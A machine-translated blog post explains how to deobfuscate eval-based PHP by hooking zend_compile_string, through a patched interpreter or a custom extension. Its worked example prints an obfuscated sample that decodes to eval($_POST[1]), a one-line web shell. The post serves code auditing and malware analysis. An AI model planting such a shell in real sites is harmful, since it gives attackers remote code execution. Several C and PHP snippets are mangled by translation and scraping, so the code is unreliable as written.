author: WeaponX

0 x01 background

The team leader was doing a PHP code audit and discovered that the PHP code had been obfuscated. Although you can restore the original PHP code by manually decrypting it yourself, the obfuscation process is complicated and scripting it yourself is very troublesome. Therefore, I restore the obfuscated PHP code through PHP low-level operations.

0x02 PHP code confusion

There are generally two ways to obfuscate PHP code:

  • PHP extensions are required
  • No PHP extensions required

This article focuses on decryption without code obfuscation for PHP extensions. Most PHP code obfuscations without extension are based on the principle of using EVAL for code execution. If we can get the arguments to the eval function, we can get the decrypted code.

However, PHP obliquities are usually restored and executed multiple times through EVAL, so we can decrypt the code by printing its arguments through hook PHP’s eval function.

0x03 hook eval

The eval function in PHP calls zend_compile_string in Zend. You can debug the zend_compile_string.

user@ubuntu ~/php-5.6.35/Zend ~ grep -rn "zend_compile_string" *
zend.c:693:	zend_compile_string = compile_string;
Copy the code

We found that the zend_compile_string function is really just compile_string. So we can write a simple PHP code to see if we can get the eval parameter value from compile_string

<? php eval("phpinfo();" ); ? >Copy the code

First let’s compile the DOWNLOADED PHP. Note that since we will be debugging later, we need to add the -g parameter and debug symbols at compile time.

./configure CFLAGS="-g" CXXFLAGS="-g"
make -j16
Copy the code

Next we use GDB to debug the PHP program. First set the program parameters and set the breakpoint to compile_string.

gdb-peda$ set args xxx.php
gdb-peda$ b compile_string
Breakpoint 1 at 0x6b4480: file Zend/zend_language_scanner.l, line 716.
Copy the code

Then let the PHP program run

When we find that the program is down, we find that the first parameter to compile_string, source_string, is zval_struct, the Zend structure of the eval function argument in PHP code. Source_string.value.str. val is a string of parameters.

  • By modifying thecompile_stringFunction to printevalThe code is as follows
If (Z_TYPE_P(source_string) == IS_STRING) // Check whether it is string {len = Z_STRLEN_P(source_string); STR = estrNDup (Z_STRVAL_P(source_string), len); / / copy to the STR printf (" \ n = = = = = = = = = = = = = = = = = = DUMP_CODE = = = = = = = = = = = = = = = = = = = = \ n "); printf("%s\n", str); / / print printf (" \ n = = = = = = = = = = = = = = = = = = DUMP_CODE = = = = = = = = = = = = = = = = = = = = \ n "); }Copy the code

After making the changes, recompile PHP and run the encrypted PHP code

The decrypted PHP code looks like this

You can see that the confused PHP code has been fully restored

  • Decrypt PHP scripts by writing PHP extensions

The way to write PHP extensions is to print out the parameters to hook zend_compile_string.

./ext/ext_skel --extname=decrypt_code
Copy the code

First, we write our own hook function. The eval () function checks whether the eval argument is a string. If not, the eval argument is executed as usual. If yes, print the parameters and follow the original path.

static zend_op_array *decrypt_code_compile_string(zval *source_string, char *filename TSRMLS_DC) { int len; char *str; if (Z_TYPE_P(source_string) ! = IS_STRING) { return orig_zend_compile_string(source_string, filename TSRMLS_CC); } len = Z_STRLEN_P(source_string); str = estrndup(Z_STRVAL_P(source_string), len); printf("\n==========DUMP===========\n"); printf("%s", str); printf("\n==========DUMP===========\n"); return orig_zend_compile_string(source_string, filename TSRMLS_CC); }Copy the code

Next, we modify the PHP extension load function

PHP_MINIT_FUNCTION(decrypt_code)
{
    /* If you have INI entries, uncomment these lines 
    REGISTER_INI_ENTRIES();
    */
    orig_compile_string = zend_compile_string;
    zend_compile_string = decrypt_code_compile_string;
    return SUCCESS;
}
Copy the code

This will save the zend_compile_string address and then replace the zend_compile_string address with our hook function. Our hook function is called when the eval function calls zend_compile_string.

Finally, we modify the PHP extension’s unload function

PHP_MSHUTDOWN_FUNCTION(decrypt_code)
{
    /* uncomment this line if you have INI entries
    UNREGISTER_INI_ENTRIES();
    */
    zend_compile_string = orig_zend_compile_string;
    return SUCCESS;
}
Copy the code

Unhook the function when the extension is unhooked.

Finally, compile our extension

phpize
./configure --with-php-config=/usr/local/php/bin/php-config
make
Copy the code

Next, add our extension to php.ini.

extension=decrypt_code.so
Copy the code

Running this script gives you the same output.

0x04 Decryption restored using other functions

Decryption of obfuscated code is similar to code execution. Ultimately, you have to execute PHP code, and there are many ways to execute PHP code. Besides eval, assert, call_user_func, call_user_func_array, create_function, and so on. These functions also call zend_compile_string at the bottom, so hook eval can also be used to restore scrambled encryption code.

0x05 Example

A sample code.

<? php $_uU=chr(99).chr(104).chr(114); $_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU (49).$_uU(93).$_uU(41).$_uU(59); $_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116) .$_uU(105).$_uU(111).$_uU(110); $_=$_fF("",$_cC); @ $_ (); ? >Copy the code

Run it and get the decrypted result.

./php 3.php =====================DUMP_CODE======================== function __lambda_func(){eval($_POST[1]); } =====================DUMP_CODE========================Copy the code

0x06 Refer

Blog.evalbug.com/2017/09/21/…

Security.tencent.com/index.php/b…

Php-security.org/2010/05/13/…

Lightless. Me/archives/Ze…

www.leavesongs.com/PENETRATION…